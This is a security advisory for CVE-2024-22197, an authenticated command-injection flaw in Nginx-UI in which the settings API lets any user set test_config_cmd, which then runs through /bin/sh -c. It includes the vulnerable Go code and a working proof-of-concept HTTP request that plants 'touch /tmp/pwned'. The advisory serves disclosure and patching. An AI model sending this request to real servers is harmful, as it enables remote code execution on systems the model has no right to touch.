GHSA-PXMR-Q2X3-9X9M
Vulnerability from github – Published: 2024-01-11 16:30 – Updated: 2024-05-20 22:04Summary
The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
...
Nginx settings.Nginx `json:"nginx"`
...
}
...
settings.NginxSettings = json.Nginx
...
err := settings.Save()
...
}
The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:
func TestConf() (out string) {
if settings.NginxSettings.TestConfigCmd != "" {
out = execShell(settings.NginxSettings.TestConfigCmd)
return
}
out = execCommand("nginx", "-t")
return
}
The execShell function is defined as follows:
func execShell(cmd string) (out string) {
bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
out = string(bytes)
if err != nil {
out += " " + err.Error()
}
return
}
Where the cmd argument is user-controlled and is passed to /bin/sh -c.
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with"test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
- Add a new site in
Home > Manage Sites > Add Sitewith random data. The previously-modifiedtest_config_cmdsetting will be used when the application tries to test the nginx configuration. - Verify that
/tmp/pwnedexists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0.beta.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-22197"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-11T16:30:29Z",
"nvd_published_at": "2024-01-11T18:15:45Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn\u0027t allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n r.GET(\"settings\", GetSettings)\n r.POST(\"settings\", SaveSettings)\n ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n var json struct {\n ...\n Nginx settings.Nginx `json:\"nginx\"`\n ...\n }\n\n ...\n\n settings.NginxSettings = json.Nginx\n\n ...\n\n err := settings.Save()\n ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: \u003c\u003cJWT TOKEN\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home \u003e Manage Sites \u003e Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.",
"id": "GHSA-pxmr-q2x3-9x9m",
"modified": "2024-05-20T22:04:42Z",
"published": "2024-01-11T16:30:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22197"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.